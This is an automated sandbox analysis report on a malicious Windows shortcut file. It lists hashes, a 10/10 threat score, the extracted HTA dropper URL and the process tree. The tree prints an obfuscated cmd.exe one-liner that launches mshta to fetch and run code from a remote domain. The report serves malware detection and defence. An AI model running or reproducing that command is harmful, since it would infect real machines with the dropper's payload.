Analysis
- max time kernel
40s - max time network
43s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 20:32
Static task
static1
Behavioral task
behavioral1
Sample
DOC-LYY0AR.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-LYY0AR.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-LYY0AR.lnk
- Size 1KB
- Sample260803-zbh19abl21
- SHA256 d1f92c753b8f0172cf899bbcc24e0c20a4973bfe02dc8f2ab8924e311c6c8021
- MD5 f8a2aff8863d712e6dccc9c059bf5a2e
- SHA1 ca32928fb3eb9e5a7c62ebb4e41ffa31ea48adfe
- SHA512 b7f967bae2c44585c889d77d7a38d70479d3754c8164eaaf1f6478fbb4605ea1811822eb29b2703efd5472eb5c578ef51e45e88bd6e2be7629c025edf97156a3
- TLSH T1A93197003EFD0A24F3B39F7284BB571089BBB84A8D20C61D01418A0C1032A01E67AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3412 cmd.exe 5660 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3412 wrote to memory of 5660 3412 cmd.exe 90 PID 5660 wrote to memory of 4436 5660 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-LYY0AR.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3412 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set yyJV=msh&&set WIQA=ta&&start "" !yyJV!!WIQA! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5660 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:4436
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